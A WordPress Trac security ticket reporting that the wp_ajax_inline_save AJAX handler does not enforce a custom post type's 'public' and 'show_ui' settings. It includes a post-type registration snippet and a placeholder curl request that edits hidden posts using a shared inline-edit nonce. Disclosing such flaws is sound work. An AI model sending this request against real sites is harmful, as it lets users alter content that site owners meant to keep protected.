Opened 21 months ago
#57447 new defect (bug)
wp_ajax_inline_save function does not check if post has "public" or "show_ui" enabled
Reported by: | lucius0101 | Owned by: | |
---|---|---|---|
Milestone: | Awaiting Review | Priority: | normal |
Severity: | normal | Version: | |
Component: | Security | Keywords: | |
Focuses: | Cc: |
Description
The Security Team has already reviewed this report on the WordPress HackerOne Program, and I was requested to create the ticket here as well.
Both the public
and show_ui
aren't checked by the wp_ajax_inline_save
function, which is a UI-intended function.
The documentation for both params explains that having them as "false" should prevent the UI management for the custom post type:
show_ui bool
Whether to generate and allow a UI for managing this post type in the admin.
Default is value of $public.
public (boolean) (optional)
Controls how the type is visible to authors (show_in_nav_menus, show_ui) and
readers (exclude_from_search, publicly_queryable).
For the "public" param, the docs also say that it hides the CPT from authors, which can be bypassed, as seen below in the proof-of-concept. Since the "_inline_edit" nonce value is valid for all inline edits, regardless of the post type, it's possible to get this nonce on any post listing page and exploit this function to access a CPT that was not intended to be accessible.
PoC:
<?php $args = array( 'label' => __( 'Example' ), 'description' => __( 'Example' ), 'labels' => $labels, 'supports' => array( 'title', 'editor' ), 'taxonomies' => array(), 'hierarchical' => false, 'public' => false, // <-- False 'show_ui' => false, // <-- False 'show_in_menu' => false, 'show_in_admin_bar' => false, 'show_in_nav_menus' => false, 'can_export' => false, 'has_archive' => false, 'exclude_from_search' => true, 'publicly_queryable' => false, 'rewrite' => false, 'show_in_rest' => false, ); register_post_type( '...', $args );
What looks like a "protected" and "hidden" CPT can actually be accessed and edited by using this security issue on "wp_ajax_inline_save":
curl 'http://SITE_URL/wp-admin/admin-ajax.php' \ -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' \ -H 'Cookie: COOKIES_HERE' \ -H 'Origin: SITE_URL' \ --data-raw 'post_title=Something&_inline_edit=NONCE_HERE&post_view=list&screen=edit-page&action=inline-save&post_type=POST_TYPE&post_ID=POST_ID&edit_date=true&post_status=all' \ --compressed
The "show_ui" parameter has been enforced in the core's past versions when accessing some places, but the "wp_ajax_inline_save" function was not affected:
4.4.0 The show_ui argument is now enforced on the post type listing screen and post editing screen.
3.0.0 The show_ui argument is now enforced on the new post screen.